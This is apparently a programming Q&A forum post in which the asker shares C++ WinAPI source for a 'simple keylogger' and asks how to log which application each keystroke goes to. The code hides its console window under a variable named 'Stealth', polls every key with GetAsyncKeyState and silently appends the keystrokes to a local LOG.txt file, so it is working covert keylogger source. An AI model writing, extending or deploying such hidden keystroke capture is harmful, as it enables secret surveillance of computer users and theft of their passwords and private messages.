title: C++ simple keylogger
body: <p>I`m trying to write a simple keylogger in C++ using WinAPI. Is there a way to get in which application the user is typing the captured key strokes?
  And here is my code so far:</p>
  
  <pre><code>#include &lt;iostream&gt;
  #include &lt;windows.h&gt;
  #include &lt;winuser.h&gt;
  
  using namespace std;
  
  int main()
  {
      HWND Stealth;
      AllocConsole();
      Stealth = FindWindowA("ConsoleWindowClass", NULL);
      ShowWindow(Stealth,0);
      char i;
  
  while (1)
  {
      for(i = 8; i &lt;= 190; i++)
      {
          if (GetAsyncKeyState(i) == -32767)
          {
              FILE *OUTPUT_FILE;
              OUTPUT_FILE = fopen("LOG.txt", "a+");
              int c=static_cast&lt;int&gt;(i);
              fprintf(OUTPUT_FILE, "%s", &amp;c);
              fclose (OUTPUT_FILE);
          }
      }
  }
  system ("PAUSE");
  return 0;
  }
  </code></pre>